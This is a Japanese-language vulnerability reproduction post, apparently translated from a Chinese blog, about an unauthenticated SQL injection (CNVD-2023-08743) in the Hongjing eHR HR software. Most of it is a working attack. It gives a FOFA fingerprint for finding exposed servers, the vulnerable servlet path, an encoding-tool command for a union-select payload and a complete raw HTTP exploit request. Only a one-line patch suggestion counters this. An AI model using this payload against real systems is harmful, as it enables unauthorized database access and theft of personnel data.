Honjing eHR SQL インジェクションの脆弱性再発 (CNVD-2023-08743)

0x01 製品紹介

      Honjing eHR 人事管理ソフトウェアは、動的、協調的、プロセス指向、戦略的なニーズを満たすために、人事管理とデジタル アプリケーションを統合するソフトウェアです。

0x02 脆弱性の概要

      Honjing eHR には SQL インジェクションの脆弱性があり、認証されていないリモート攻撃者がこの脆弱性を利用して任意の SQL コマンドを実行し、データベースの機密情報を盗む可能性があります。

0x03 影響範囲

  紅京 eHR < 8.2

0x04 再発環境

FOFA:body='<div class="hj-hy-all-one-logo"'

0x05 脆弱性の再発

PoC (注入ポイントはカテゴリフィールドです)

/servlet/codesettree?categories=[加密后的恶意sql]&codesetid=1&flag=c&parentid=-1&status=1

注: ここでは、SQL ステートメントを hrms でエンコードする必要があります。 

ツールアドレス: https://github.com/vaycore/HrmsTool

java -jar HrmsTool.jar -e "1' union all select 'hongjing',@@version--"

ペイロードの構築 (クエリデータベースのバージョン)

GET /servlet/codesettree?categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d&codesetid=1&flag=c&parentid=-1&status=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

正常に再現されました

 0x06 修復の提案

   現在、このソフトウェアはセキュリティ修復アップデートをリリースしており、影響を受けるユーザーは製造元に連絡してパッチを入手できます。

おすすめ

転載: blog.csdn.net/qq_41904294/article/details/130944159